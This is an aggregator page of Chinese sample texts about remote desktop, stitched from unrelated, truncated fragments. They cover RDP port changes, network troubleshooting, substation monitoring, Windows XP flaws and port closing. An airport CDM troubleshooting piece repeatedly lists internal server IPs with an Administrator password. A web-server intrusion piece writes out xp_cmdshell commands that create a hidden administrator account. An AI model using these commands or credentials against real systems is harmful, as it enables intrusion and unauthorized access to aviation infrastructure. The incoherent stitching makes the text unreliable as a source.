時間：2023-02-27 11:06:37
導語：在遠程桌面連接命令的撰寫旅程中，學習并吸收他人佳作的精髓是一條寶貴的路徑，好期刊匯集了九篇優秀范文，愿這些內容能夠啟發您的創作靈感，引領您探索更多的創作可能。
“遠程桌面連接”的前身應該是Telnet。Telnet是一種字符界面的登陸方式。微軟將其擴展到圖形界面上，顯示了異常強大的功能。
在日常工作交流中，我們常常會用到遠程桌面連接功能，許多人會認為這樣的功能簡單得幾乎不值一提，不過在實際使用過程中。我們有時會遇到各種特殊的遠程桌面連接需求，要想順利滿足這些特殊的連接需求，就必須要掌握一些遠程桌面連接的使用技巧。
讓遠程桌面連接端品躲避攻擊
大家知道，在默認狀態下遠程桌面使用的端口一般為“3389”，如果我們不及時將這個端口號碼更改掉的話。那么許多別有用心的黑客可能會利用這個端口，來遠程控制和入侵本地工作站，以便竊取保存在本地工作站中的各類隱私信息。為了保護本地工作站的安全。我們可以嘗試按照如下步驟，將遠程桌面連接使用的默認端口號碼更改成其他的端口號碼：
首先，以特權身份登錄進本地工作站系統，并用鼠標逐一單擊系統桌面中的“開始”、“運行”命令，從彈出的系統運行框中，輸入字符串命令“regedit”，單擊“確定”按鈕后，打開本地工作站的系統注冊表編輯界面。
其次，在該編輯界面的左側顯示區域，用鼠標展開HKEY_LO－CAL_MACHINE注冊表分支，從其后彈出的分支列表中依次選中SYSTEMk\CurrentControlSet＼Control\TerminalServer\WdsrdpwdTd-stcp子鍵，在tcp子鍵所對應的右側顯示區域中，我們會看到一個名為PortNumber的子鍵，這個子鍵其實就是用來定義遠程桌面連接端口號碼的，將該子鍵的數值設置成其他端口號碼，例如可以將其數值設置成“9999”。
完成數值修改操作后。我們再將鼠標定位于注冊表分支HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl\SetContro＼Ter-minalServer\WinStations\RDP-Tcp，在RDP-Tcp子鍵所對應的右側顯示區域中，我們同樣會看到一個名為PortNumber的子鍵，把該子鍵的數值也要一并修改過來，例如這里我們也要將它的數值修改成“9999”。
完成本地工作站的遠程桌面連接端口號碼后。我們日后需要通過遠程桌面連接到該工作站時，我們需要打開對應工作站中的遠程桌面連接設置窗口，并在其中設置好需要遠程連接的工作站地址，之后單擊“另存為”按鈕將遠程桌面設置保存成文件。接著用寫字板之類的文本編輯程序將前面保存生成的RDP文件打開，并在文本編輯區域中手工輸入一行“serverport：i：9999”這樣的語句，再將該文件按照原名重新保存一下，這樣一來我們日后就能通過遠程桌面安全地連接到本地工作站中了。其他用戶只要不知道新的遠程桌面端口號碼，他們就無法與本地工作站創建遠程桌面連接了，那么本地工作站的安全性就會得到大大增強!
善用遠程桌面連接進行傳輸文件
在局域網中傳輸文件時，相信多數人都會通過文件共享的方式來進行，可是設置成共享狀態的目標文件很容易被其他人偷看到，而且一些別有用心的人還會通過共享通道對本地工作站實施攻擊。為了確保在局域網中能夠安全地傳輸文件，我們可以利用遠程桌面連接程序中自帶的磁盤映射功能，來讓局域網中的文件傳輸進行得更安全、更簡便，下面就是利用遠程桌面功能進行文件傳輸的具體操作步驟：
最近，單位局域網中的一位員工向筆者反映，說他的計算機系統發生了一種蹊蹺故障，當Windows系統剛啟動成功這段時間，局域網中的其他計算機能正常訪問他的共享文件夾，不過只要他離開自己的計算機一段時間，其他員工再訪問他的共享資源時，就會遇到錯誤提示。
聽了這位員工的故障描述后，筆者也覺得有點莫名其妙，于是立即趕到故障現場，仔細查看了故障計算機系統的運行狀態，發現系統配置一切正常，使用ping命令測試網卡設備的連通性，也沒有看出異常之處。之后，筆者嘗試著將故障計算機系統空閑了一段時間，再用ping命令測試網卡設備，發現網卡設備的地址這次竟然無法ping通了，很顯然問題出在計算機的網卡設備上。
為了弄清楚故障原因，筆者立即用鼠標右鍵單擊故障計算機系統桌面上的
網卡設備，彈出目標網卡設備屬性對話框。在這里，筆者依次進入各個不同的標簽設置頁面，對各項參數進行了認真檢查。當切換到“電源管理”標簽設置頁面時，筆者終于找到了故障原因，原來這與Windows系統的電源管理功能有關，缺省狀態下Windows系統只要在空閑時間達到規定數值后，就會自動關閉網卡設備的電源，以便有效節約電源消耗。在筆者嘗試著將如圖1所示頁面中的“允許計算機關閉此設備以節約電源”選項取消選中時，上面的共享訪問故障果然消失不見了。事后總結時，筆者認為網卡設備的電源管理屬性，如果設置不當，很容易成為共享訪問的設防“關卡”。
為了方便單位共享資源整合，有效改善網絡管理效率，作為網絡管理員的小周最近將局域網的工作組環境升級到了域環境，同時將單位所有員工的計算機全部添加到了指定域中，大大增強了對域計算機的控制力度。可是，當網管員小周嘗試將某臺安裝了Windows 7系統的計算機添加到指定域中時，卻看到有員工通過Windows XP系統的遠程桌面連接程序，訪問這臺Windows 7系統的共享資源時，無論輸入什么權限的登錄賬號，遠程登錄操作都不能成功。
在這臺Windows 7計算機系統被成功添加到指定域中之前，小周曾經在自己的Windows XP系統中，遠程訪問過Windows 7計算機系統中的共享資源，這次再進行嘗試時，發現遠程桌面連接真
與傳統的TCP/IPv4通信協議相比，TCP/IPv6通信協議的功能明顯會強大許多。為了讓單位局域網也能趕上潮流，筆者決定與時具進，著手將網絡客戶端系統的通信協議升級為TCP/IPv6。由于Vista以上版本系統默認都已經安裝好了TCP/ IPv6協議，筆者只是對它們進行了簡單的地址分配操作。而對于Windows XP系統來說，筆者特意重新安裝了TCP/IPv6協議，之后也為它們分配了合適的地址。在分配地址時，操作很簡單，依次單擊“開始”|“控制面板”命令，雙擊系統控制面板窗口中的“網絡和共享中心”圖標，點擊其后界面中的“更改適配器設置”按鈕，切換到網絡連接列表界面，用鼠標右鍵單擊本地連接圖標，執行右鍵菜單中的“屬性”命令，彈出本地連接屬性對話框。選中如圖6所示界面中的TCP/IPv6協議選項，按下“屬性”按鈕，在其后界面中就能按照需要手工設置好合適的地址，單擊“確定”按鈕即可。將客戶機的通信協議升級到TCP/IPv6版本后，明顯感覺到它們的上網速度快了許多。
不過，有的客戶端系統升級協議之后，無論是上網訪問還是相互傳輸共享文件，都無法成功了，這讓筆者感到十分蹊蹺，為什么其他的客戶端系統共享訪問都正常，而有的系統就不正常呢？經過深入研究，筆者終于弄清楚了問題的原因，原來這些共享訪問失敗的故障客戶端系統，無一例外地停用了系統服務“IP Help”，而該系統服務的主要工作就是對TCP/IPv6協議地址進行分析和連接，也就是說，TCP/IPv6協議的正常工作需要“IP Help”服務的支持。
找到了故障根源后，筆者立即用鼠標右鍵單擊系統桌面上的“計算機”圖標，執行快捷菜單中的“管理”命令，切換到計算機管理窗口，依次展開“計算機管
我馬上大學畢業了，現在這段時間想好好學習一些服務器知識，可是我的電腦配置不高，無法在本地安裝服務器系統。請問有沒有什么在線服務器系統可以學習？（題號：20160902）
解題思路
如果要在本地電腦安裝或學習其他系統，一種方法是在本地硬盤安裝多系統（可以是實體系統或者虛擬系統），但是安裝實體雙系統對電腦技術要求較高，虛擬系統則要求電腦配置較高。另一種方法則是使用云系統，比如現在阿里云等提供虛擬主機的服務，這種虛擬云系統可以馬上使用，而且可以任意選擇自己所需的系統，無需在本地硬盤安裝或者進行任何設置。因此云系統最適合初入職場的朋友選擇使用。
解題方法
現在阿里云主機對學生有專門的優惠（最低9.9元/月），而且提供的全部是正版服務器系統，因此非常適合學生學習使用。首先登錄，按提示注冊一個阿里云用戶（學生用戶需提供學籍證明）。登錄后點擊“產品與服務云服務器ECS實例創建實例”，按提示購買一個云服務器，這里可以根據自己的實際需要選擇操作系統，阿里云提供Windows Server、Freebsd、Ubuntu等主流常用的正版服務器系統，只要在“公共鏡像”下自行選擇即可（圖1）。 選擇需要的服務器系統
完成實例的創建并付費后，現在我們就可以開始使用遠程登錄的方式進行學習了。這里以Windows Server 2008為例。對于在網吧等公共場所使用電腦的用戶，登錄阿里云網站后打開上述創建的實例，點擊其后的“管理更多終端登錄”，在彈出的窗口中記住VNC登錄密碼，成功登錄后點擊“發送遠程命令Ctrl+Del+Alt”，在打開的登錄界面中按提示輸入云系統的賬戶名和密碼，進入系統后就可以開始學習了，這些都是正版的服務器系統（圖2）。
VNC方式只要瀏覽器即可實現在線連接，但是實際操作較為麻煩。我們還可以使用遠程桌面連接的方式實現。同上登錄阿里云查看購買的實例，在這里記住服務器的公網IP地址，這個用于遠程桌面登錄（圖3）。
在電腦上啟動遠程桌面連接，在“計算機名”下輸入上述獲得的公網IP地址，用戶為在上述實例創建中設置的用戶賬戶，成功連接后就可以在遠程桌面上看到云服務系統，具體使用和本機安裝的系統沒有什么區別。這樣大學生們通過低廉的花費就可以輕松學習各種正版服務器的使用了。
本期挑戰題
題號：20161101
難度：4分
挑戰題描述：同許多人一樣，我喜歡瀏覽微信上的精彩內容，但是一旦沒有網絡就不能瀏覽。問題來了，有沒有什么辦法可以將微信上的內容給緩存下來并在無網的條件瀏覽呢？
題號：20161101
關鍵詞 變電站；遠程監控系統；遠程桌面；綜合自動化
中圖分類號 TM7340 文獻標識碼 A 文章編號 1673-9671-（2012）102-0149-01
隨著不斷廣泛應用和飛速發展的電力自動化系統技術，變電站的運行模式也大多變成了無人值班，這一現象在低于220kV的電力系統變電站內尤為普遍。為了能夠隨時監控到站內設備的運轉情況，同時在第一時間內解決診斷設備出現的故障等問題，遠程維護電力自動化系統就成為了大勢所趨。
1 遠程桌面
對于無人值班的電力自動化系統進行全時監控，并處理出現的問題和故障，一直以來都是國內相關科研人員的工作重點。然而盡管已經確實提供了一些工程方案，但都存在著如下幾點問題：首先是由于可能存在著不同廠家生產的變電站自動化系統，致使系統維護的難度大為增加；其次是維護工作只有在全面掌握變電站運行情況的基礎上才能展開，對于數據庫的處理能力和庫容量而言不堪重荷；再次是每種信息過于繁多的協議傳輸和采集方式；最后是遠程維護系統單獨對口各個變電站，則造成過大的成本投資等。因此，將遠程維護方案建立在遠程桌面的基礎上，借由2M專網或調度數據網來實現監控機的遠程控制，成為了更加切實可行的新技術。微軟的遠程桌面協議，是其操作系統的遠程桌面功能工作的平臺。借助RDP，即使在網絡的另一端，對于遠程計算機里的網絡資源、應用程序和數據，客戶端電腦都可以輕松實現控制，這樣相應的服務就可以通過正在運行的遠程服務器上的相應程序獲得。比如：后臺操作和登陸可以通過交互式進行，速度很快，也具備穩定的性能。遠程主機借由該服務器登陸后，除了無法實現物理接觸外，可以實現與本地電腦相同的命令運行、程序刪除以及各項操作等內容。為了能夠使數據在借助通信進行交互時的可靠性和安全性得到保證，加密和數字簽名是RDP過程采取的兩種辦法，同時加密算法使用的是RC4和MD5，對于數據包整個在傳輸過程中的解密、加密，可以可靠、有效地完成。同時微軟公司為了防止黑客竊取數據，進一步將遠程桌面的安全級別提高，附加了一個安全認證的方式，對于信息的加密通過安全套接層來完成。
2 監控機操作系統升級
即便是發展至今的微軟操作系統中，遠程桌面功能能夠實現的平臺軟件也只有3款：Windows 2003、Windows XP和Windows 2000 Server。Windows 2000目前廣泛應用于國內的監控機操作系統，選擇3個系統中的一個作為升級版本即可，之后將遠程桌面功能開啟。除了對遠程監控機中的全部網絡資源、文件和程序進行控制外，遠程桌面并不影響到本地任何程序的正常運行，同時遠程桌面還能夠實現如下功能：首先是在遠程會話中進行粘貼和剪切操作。剪貼板在多數中斷服務器和遠程桌面連接中可以共享，這樣就實現了在剪貼板上，本地內容和遠程桌面內容的一致同步，進而在本地電腦所運行的程序里，粘貼、剪切從遠程桌面會話運行程序里的內容。比如在“遠程桌面連接”窗口中的文檔里，對圖形和文本進行剪切和復制，之后在本地電腦的文檔里進行粘貼。其次是將本地資源供給終端服務器使用。以網絡上不同設置的組策略為根據，從而決定是否通過本地電腦上的智能卡、打印機、串行口和磁盤驅動器被終端服務器訪問，叫做“資源重定向”。只有資源重定向被設置的組策略禁止，否則該資源在會話期間可以被終端服務器加以使用。比如，假設使用者決定允許終端服務器使用本地磁盤驅動器，即允許本地文件夾和文件可以被遠程會話訪問，那么就會大大簡化將文件從終端服務器復制出來或者在終端服務器里復制進文件的過程。最后是中斷服務使用快捷鍵功能。在“遠程桌面連接”的窗口中點擊“本地資源”的選項，可以實現多種同樣的功能通過快捷鍵的形式在終端服務器上開始執行。
3 遠程控制監控機的工作原理和內容
現在，以同步數字系列的專用光纜為基礎，電力系統的通信網規模在我國已經初步形成，并且由于傳統的中央信號、開光控制和繼電保護裝置系統，正在逐步地被高速LAN的廠站和現場總線的自動化系統取替，當遠程終端單元屬于非網絡型時，調度數據網的接入可以通過改造從而實現；當IED不具備網絡接口時，網絡接入可以通過連接遠動轉換協議設備與串口進而實現，此種模式下無需改動任何的IED，因此可以預見的必然趨勢是：網絡化傳輸遠動信息的模式。借助網絡，維護和監控智能設備也更加簡便可行。通常情況下，按照2個方向傳輸變電站的全部四遙信息：一則是借助RTU到集控站自動化系統或數據采集與調度監控系統；再則是對本地監控機進行直接傳給。在對SCADA系統進行調度時的處理能力和數據庫容量進行充分考慮后，加之將信息量減少，進而防治電網調度運行受到歷史信息以及不分主次、大量的實時信息的干擾，在對SCADA系統進行調度時，通常只對重要的四遙信息進行接收，比如針對遙信而言，通常只對硬結點遙信進行采集。對于本地監控機來說，因為只有一個廠站是指定內容，原則上，對于該變電站的全部歷史信息和實時信息加以接收，同時其功能十分強大。絕大多數的自動化系統均為一家廠商所制造，其綜合自動化設備和本地后臺監控系統一致，維護和監視自動化設備的工作，只需適當改造本地監控系統就能夠得到實現和加強，做到不包含在SCADA系統中的信息，甚至是所有信息的查詢、監視和采集。比如將RTU組態程序安裝在國電南自的PSX600和南瑞繼保公司的RCS-9700變電站自動化系統上以后，維護和監視RTU的工作就能通過網絡直接進行，包括了RTU程序升級、對RTU收發碼進行監視以及下裝組態等功能。
4 遠程桌面系統的特點及安全控制
首先，遠程桌面圖像監控系統對于無人值班的變電站非常適用，能夠對變電站設備的運行情況以及防盜問題、防火問題、發熱情況和操作情況進行監視，同時逐步結合現場操作人員的遠方監視操作，如有必要，可以向上級計算機網絡上傳監控中心所收集到的信息和圖像數據，便于網絡用戶進行調閱查看。其次，由于物理距離上變電站比較遠，動輒數百、數十公里，其連接方式多為電話線、微波或光線進行通信，必須解壓縮和壓縮監控中心接收到的信號圖像信息，所以與現場的模擬信號相比較而言，圖像質量會稍有損失，為了避免過多地損失圖像質量，應該對解壓縮和壓縮的方式慎重考慮選擇。再次，布防和撤防功能要做到位。當工作人員在變電站時，應該撤防，避免誤報警。當無人值守變電站時，應及時布防。最后，要明確鏡頭和云臺是主要的控制對象，包括了變倍變焦、調整光圈、聚焦鏡頭、上下俯仰和左右旋轉等功能。
5 結束語
以遠程桌面系統為基礎，對變電站等電力自動化系統進行遠程運行、監控和維護的反感，不僅便于實現，而且投資額不大，其實際應用的意義非常重大。通過在梅亭集控站和蕪湖供電公司的實際使用效果來看，具有非常大的功能效用和發展前景。該項技術的發展和完善，將對無人值班的電力自動化系統的監控工作產生積極作用。對于提高無人值班電力自動化系統運行的安全性有著直接的影響。
參考文獻
微軟windows xp以其出色的兼容性和移動性贏得了廣泛的好評和認同，但是它也存在著大量系統漏洞，黑客利用系統的漏洞可以對電腦進行攻擊，讓你無法上網，對一些分區格式化，侵入計算機偷盜,從而造成巨大的的損失！
如何保證windows xp安全呢？比較好的辦法就是下載windows安全補丁。microsofe公司會在網上提供一些免費的補丁，我們只要及時打補丁，就可以增強兼容性，堵上漏洞，增強系統的安全性！
windows xp安全漏洞主要有以下五種：
一、切換功能漏洞
windows xp快速用戶切換功能存在漏洞，當你單擊“開始”/注銷/“切換用戶”啟動快速用戶切換功能，在傳統登陸方法下重試登錄一個用戶名時，系統會誤認為有暴力猜解攻擊，因而會鎖定全部非管理員賬號。
解決辦法：單擊控制面板/用戶帳戶/更改用戶登錄或注銷的方式，取消“使用快速用戶切換”，以便禁用用戶快速切換功能。
二、即插即用漏洞
upnp亦稱通用即插即用軟件（全稱universal plug and play），微軟這個軟件是基于互聯網協議的，它允許不同的設備如電腦、掃描儀、打印機聯成網絡，可以在彼此之間自動識別，并進行通信，xp操作系統在發售時就已經激活了upnp功能。然而，upnp也存在安全漏洞。黑客可以利用該軟件上的漏洞控制同一網絡上的電腦，或者發動dos攻擊。具體來講，upnp服務可以導致以下兩個安全漏洞：
（一）緩沖溢出問題
upnp存在緩沖區溢出問題，是windows有史以來最嚴重的緩沖溢出漏洞，當處理 notify 命令中的location字段時，如果ip地址、端口和文件名部分超長，就會發生緩沖區溢出，由此會造成服務器程序的一些進程，其內存空間的內容被覆蓋。由于upnp服務運行在系統的上下文，攻擊者如果利用漏洞成功，可以完全控制主機。
解決方法：對于win xp用戶，應該立即安裝補丁；對于win me用戶，只有在運行了upnp的情況下才需要該補丁；對于win98用戶，由于其中并沒有upnp，只有當用戶自己安裝了upnp的情況下，才需要使用該補丁。
（二）系統容易被欺騙
對運行了upnp服務的系統實施攻擊，只要向該系統的1900端口發送一個udp包，其中“location”域的地址指向另一個系統的chargen端口，就可能使系統進入一個無限的連接循環，這將會導致受影響系統 cpu 和內存占用率達100%，使遠程xp系統完全不能使用而拒絕了服務，只有通過重啟后系統才能恢復正
轉貼于
常。
解決辦法：完全關閉upnp服務，因為大多數的人都不用他們。請記住：服務開得越少，就越安全。單擊xp的控制面板/管理工具/服務，雙擊“universal plug and play device host”服務，在啟動類型中選擇“已禁用”關閉upnp服務。
三、熱鍵漏洞
熱鍵打開程序很方便。當用戶登陸win xp時，熱鍵功能隨之啟動。如果你的電腦沒有設置屏幕保護程序和密碼，而你需要暫時離開電腦，辦理其他事情，win xp就會在處于靜止狀態一段時間后進行自動注銷，不過這種“注銷”是一種假注銷，你所有的后臺程序都還在運行，與沒有注銷前幾乎沒有什么差別，因此其他人雖然進不了你的桌面，看不到你的電腦里放了些什么，但是卻可以繼續使用熱鍵。比如打開n個大程序，破壞你的機器，打開并使用某個程序，特別是一些與網絡有關的敏感程序(和服務)。
解決辦法：在離開計算機的時候，還是按下windows鍵＋l鍵，鎖定計算機；或者打開屏幕保護程序、并設置密碼；或者檢查可能會帶來危害的程序和服務的熱鍵，取消這些熱鍵。
四、遠程控制漏洞
當連接建立的時候，windows xp遠程桌面把賬戶名以明文發送給連接它的客戶端。發送的賬戶名不一定是遠端主機的用戶賬號，也可以是最常被客戶端使用的賬戶名，網絡上的嗅探程序可能會捕獲到這些賬戶信息。
建立網絡連接時，win xp遠程桌面會把用戶名以明文形式、發送到連接它的客戶端。發送的用戶名可以是遠端主機的用戶名，也可能是客戶端常用的用戶名，網絡上的嗅探程序可能會捕獲到這些賬戶信息。
安全對策：單擊控制面板/系統/遠程，取消“允許用戶遠程連接到這臺計算機”，以便停止遠程桌面使用。
五、“幫助和支持中心”漏洞
windows xp的“幫助和支持中心”功能，可以向用戶提供集中化服務和幫助，用戶和程序可以通過使用“”前綴執行uri鏈接來訪問幫助和支持中心。由于幫助和支持中心程序沒有有效的檢查通過hcp協議傳遞來的信息，導致一個緩沖溢出漏洞存在。當用戶與因特網聯接時，黑客就可以利用這個安全漏洞，從一個網頁或html格式電子郵件中的鏈接對存在這一缺陷的機器進行遠程訪問，能夠打開或刪除被攻擊機器上的文件。
關鍵詞：CDM COBT CTOT 航班時刻 系統運行效率
中圖分類號：TV213.2 文獻標識碼：A 文章編號：1007-9416（2015）12-0000-00
1 CDM系統概述
近年來隨著航班量不斷增加，直接導致航班延誤嚴重、正常率低，無法獲得航班預計起飛時間，從而出現民航運行壓力大，旅客長時間在飛機上等待而引發的一系列矛盾沖突和不安全問題。
CDM（collaborative Decision Making）即運行協同決策系統，該系統是基于資源共享和信息交換的系統，通過接收各種外部信息（航班計劃、流量限制信息等），根據排序規則，產生離港航班隊列，根據航班隊列自動/人工生成進離港航班、拖拽飛機、飛越計劃的各種電子進程單，管制員根據這些電子進程單記錄地面管制信息，通過對電子進程單的拖拽、點擊或修改電子進程單狀態、內容，完成放行許可席、地面管制席、塔臺管制席之間的管制移交，使用技術手段改善航班延誤相關問題， 是一個開放性的信息采集、融合和共享平臺。
2 CDM系統建設
CDM系統由運行態勢、出港航班、進港航班、統計信息、系統管理、消息公告六個核心模塊構成。運行協同決策系統工作流程為空管用戶根據航空公司或航務單位提供FPL提交預計撤輪檔時間（EOBT）輸出計算撤輪檔時間（COBT）、計算起飛時間（CTOT）、航空公司或航務單位在不晚于COBT前50分鐘確認COBT是否可行，若可行，系統將COBT時間鎖定；若COBT變化超出容差裕度時，航空公司或航務單位可與空管進行協調，重新確認。東北地區沈陽、大連、長春、哈爾濱均安裝使用CDM系統，沈陽通過ATM設備引接深圳CDM數據，大連、長春、哈爾濱通過ATM設備引接沈陽CDM數據，從而引接深圳CDM數據，沈陽CDM用戶主要是空管部門和航空公司，空管用戶主要包括區調和塔臺，區調和塔臺通過交換網引接CDM數據，航空公司主要是南航和深航，南航和深航通過光纖引接CDM數據，各用戶通過終端的操作，輸入修改航班信息，協調出最有效率的航班信息。網絡拓撲圖如圖1所示。
圖1.沈陽CDM系統網絡拓撲圖
東北CDM系統服務器和核心網絡設備建立于沈陽桃仙國際機場航管樓三層設備機房內，主要包括數據處理主機、數據庫主機、信息接口主機、核心交換機、核心路由器等，通過專用光纖網絡建立系統數據源引接和用戶終端連接，包括相應的網絡線路、接入交換機、接入路由器等。CDM系統采用SOA架構，數據庫采用Oracle 10g，主要配置服務器16臺終端（位于塔臺、近進、區調、南航、深航、T3航站樓），磁盤存儲1套，交換機4臺，路由器2臺，系統運行時監控界面如圖2所示：
圖2.CDM系統運行監控界面
上圖右側服務器提示紅色，是不正常的，可自行登錄服務器查找原因或者聯系廠家工程師查找原因。
用戶終端系統主要由航班動態、運行態勢、協同工具、航班歷史數據查詢、航班信息統計等模塊組成。能打開登錄頁面，表示系統正常運行。
3 CDM系統故障分析及處理方法總結
CDM系統在在沈陽地區從安裝到運行近半年的時間，以下幾個故障在值班過程中發現，聯系廠家工程師，共同研究探討出處理方法。
（1）機場排序系統與AIMS系統不同步，如何處理？監控電腦 WIN+R鍵，出現上圖，輸入mstsc，遠程桌面連接10.20.102.162服務器， 輸入用戶：Administrator，密碼：caac～123，打開服務界面，找到“AYATC ATMS AIMSIntegrated Winservice”服務并重啟，重啟后查看LOG記錄，路徑：D：AIMSIntegratedService/log/ATRS.log.txt
（2）CDM系統通過引接AIMS系統獲取航班航班數據信息的，若CDM協同決策平臺與AIMS不一致，如FPL狀態不一致，如何處理？通過遠程桌面連接登陸至10.20.102.162服務器，輸入用戶：Administrator，密碼：caac～123，打開服務界面，找到“AYATC ATMS cdm Integrated Service” 項服務并重啟，重啟后查看LOG記錄，路徑：D：cdmIntegratedService/log/ATRS.log.txt
（3）停機位故障（含FIPS，ATMS系統），如何處理？通過遠程桌面連接登陸至10.20.102.162服務器，輸入用戶：Administrator，密碼：caac～123，打開服務界面，找到“SYATC ATMS ParkingBayService” 項（停機位獲取子服務）服務并重啟，重啟后查看LOG記錄，路徑：D：ParkingBayService/log/ATRS.log.txt
（4）電子進程單無法登陸（含FIPS， ATMS系統），如何處理？通過遠程桌面連接登陸至10.20.102.161服務器，輸入用戶：Administrator，密碼：caac～123，打開服務界面，找到“SYATC ATMS AppWinService”項（ 沈陽空管航班管理系統應用服務）并重啟，重啟后查看LOG記錄，路徑：D：DmanWinServer/AppServer/log/Atms.log
登陸CDM-領班主任（雙擊），菜單欄-設置-異常席位解鎖，放行、塔臺、地面、進近（雙擊解鎖），運行界面如圖3所示：
圖3.電子進程單運行界面
（5）CDM系統引接雷達部門28所系統獲取數據信息，若獲取28所信息（SSR）失敗，如何處理？通過遠程桌面連接登陸至10.20.102.163服務器，輸入用戶：Administrator，密碼：caac～123，打開服務桌面，直接重啟桌面FDT程序（28所ScrCode獲取程序）
（6）二十八所綜合航跡捕獲程序故障，如何處理？通過遠程桌面連接登陸至10.20.102.174服務器，輸入用戶：Administrator，密碼：caac～123，打開服務桌面RADAR程序（二十八所綜合航跡捕獲程序）press anykey to continue.選擇網卡“1”。
（7）服務器或磁盤陣列柜中硬盤故障，如何處理？IBM服務器有保修和備件更換服務，發生硬盤故障先聯系IBM技術支持，并按照技術支持人員的建議進行處理。首先確認硬盤故障（可通過狀態燈閃爍確認），然后拔出故障硬盤并觀察系統運行狀態；插入新的硬盤，觀察硬盤重建過程。
（8）報文亂碼導致收報程序異常退出，如何處理？停止收報程序和串口通信程序，檢查目前最后一份收報流水號，并確定亂碼報文，停止自動要報功能。運行串口通信程序和要報程序，查看最新報文流水號，在轉報機上手工要報但要跳過亂碼報文，觀察收報程序運行情況，重新打開自動要報功能，停止并重新運行收報程序。
（9）用戶終端故障，如何處理？如果用戶終端系統崩潰，或因硬件原因造成硬盤破壞，則需要對系統進行重裝。重裝有兩種方法，一種是鏡像克隆，即將其它CDM終端的鏡像數據全部復制到該終端。方法如下：1）安裝操作系統及軟件。在光驅中插入可啟動并具有克隆功能的WINPE光盤，重啟終端，按F12鍵進入啟動選項，選擇光盤啟動。啟動后，用GHOST軟件讀取光盤或者U盤上的鏡像文件，進行影像對整個磁盤的克隆。使用WINPE進行GHOST時，先進入WINPE系統，點擊GHOST一鍵備份還原-手動運行GHOST-LOCAL-DISK-FromImage-找到GHOST文件位置，并點擊Ghost文件，選擇目標位置為第一個黑色的字體，顯示的磁盤OK-OK-YES，即將開始還原系統。2）系統配置。因為克隆后新的終端上的設置和舊終端是相同的，為避免和舊終端發生沖突，必需進行網絡設置（設置前不要接網線，設置好再接網線）。在網上鄰居-屬性-TCP/IP屬性設置本機IP地址和子網掩碼，最好設置和原來的一樣，設置完用PING命令進行測試是否能連接到服務器。
選中我的電腦-屬性-網絡標識-屬性-修改計算機名后重新啟動。用本機超級用戶登錄，我的電腦-屬性-本地用戶和組-組-Administrastors組-添加-高級-系統提示輸入用戶名和密碼。然后進行CDM客戶端安裝。
另一種方法為在終端安裝操作系統、驅動及客戶端軟件安裝等，比較復雜，至少需要1-2個小時，不推薦使用。
4結語
以上是本人在CDM運行期間所遇到比較典型的故障及處理總結，難免有不足之處，請各位領導同仁指正。
參考文獻
下面是筆者經過長時間搜集積累的一些端口的知識，不看不知道，端口也和服務扯上聯系，哪些端口和哪些服務有聯系？請大家耐心看。
每一項服務都對應相應的端口，比如眾所周知的WWW服務的端口是80，SMTP是25，FTP是21，Windows安裝中默認的這些服務都是開啟的。對于個人用戶來說確實沒有必要，關掉端口也就是關閉無用的服務。
關閉服務要通過“控制面板”/“管理工具”/“服務”來配置。
關閉80端口：關掉WWW服務。在“服務”中顯示名稱為“World Wide Web Publishing Service”，通過 Internet信息服務的管理單元提供 Web 連接和管理。
關掉25端口：關閉Simple Mail Transport Protocol (SMTP)服務，它提供的功能是跨網傳送電子郵件。
關掉21端口：關閉FTP Publishing Service，它提供的服務是通過 Internet 信息服務的管理單元提供 FTP 連接和管理。
關掉23端口：關閉Telnet服務，它允許遠程用戶登錄到系統并且使用命令行運行控制臺程序。
還有一個很重要的就是關閉server服務，此服務提供 RPC支持、文件、打印以及命名管道共享。關掉它就關掉了Windows的默認共享，比如ipc$、c$、admin$等等，此服務關閉不影響你的其他操作。
上面的是一些常見的端口的關閉方法，下面介紹的是黑客經常入侵的兩個端口。
3389端口
首先說明3389端口是windows的遠程管理終端所開的端口，它并不是一個木馬程序，請先確定該服務是否是你自己開放的。如果不是必須的，請關閉該服務。
3389端口關閉方法
在Windows 2000中
Windows 2000 server：開始-->程序-->管理工具-->服務里找到Terminal Services服務項，選中屬性選項將啟動類型改成手動，并停止該服務。
Windows 2000 pro：開始-->設置-->控制面板-->管理工具-->服務里找到Terminal Services服務項，選中屬性選項將啟動類型改成手動，并停止該服務。
在Windows XP中
在我的電腦上點右鍵選屬性-->遠程，將里面的遠程協助和遠程桌面兩個選項框里的勾去掉，如圖1所示。
139端口
139端口是NetBIOS Session的端口，用來支持文件和打印共享，要注意的是運行samba的unix機器也開放了139端口，功能一樣。以前流光2000用來判斷對方主機類型不太準確，估計就是139端口開放即認為是NT機。
139端口關閉方法
關鍵詞：B/S服務器；入侵分析；安全防護
中圖分類號：TP311文獻標識碼：A文章編號：1009-3044(2011)01-0029-02
Talk about Intrusion and Safety of Web Server
HUANG Jing-hua
(Sontan College Guangzhou University, Zengcheng 511370, China)
Abstract: With the popularization of computers, the Internet INTERNET rapid development, based on B/S side of the information system, such as office automation systems, electronic government, universities and other educational systems in all walks of universal access, further information has been widely used. How can we better protect the security of Web server makes the B/S information system running smoothly client does not seem to have overlooked important issues. This Windows 2003-based platform for multiple applications such as Microsoft SQL Server 2000, Oracle 10g, JSP / ASP services, application, analysis of the common Web server intrusion methods and security protection.
Key words: B/S server; intrusion analysis; safety
近年來，計算機普及、互聯網INTERNET飛速發展。B/S端類型的服務業務平臺已在教育、政企、科研等多個領域中得到廣泛的應用，很多企業都將應用系統從C/S類型向B/S類型轉變，如財務管理系統、飛機售票系統、高校教務系統等。B/S端信息系統已在各行各業普及使用，如何有效解決Web服務器的安全是信息化成功、企業穩定發展的關鍵，也是推廣Web業務不可缺少的前提因素。
1 入侵Web服務器方式分析
1.1 SQL入侵
Sa弱口令入侵。Sa是SQLServer的管理員帳號，擁有最高權限，它可以執行擴展存儲過程，并獲得返回值，正因為這樣，如安裝在Web服務器中SQL數據庫sa用戶的口令給黑客獲得的話，黑客就可以在Web服務器為所欲為。入侵過程如下：
首先有sql查詢分析器連接上Web服務器上的SQL數據庫，在查詢分析器上輸入” exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll' ”命令執行，目的讓對方數據庫SQL的存儲過程xp_cmdshell能夠正常有權限被使用。
接著在查詢分析器里添加一個管理員用戶，語句為 “exec master..xp_cmdshell 'net user ceshi 98765321 /add' ；exec master..xp_cmdshell 'net localgroup administrators ceshi /add'”。
最后在查詢分析器里開啟遠程計算機的遠程桌面服務，語句為“
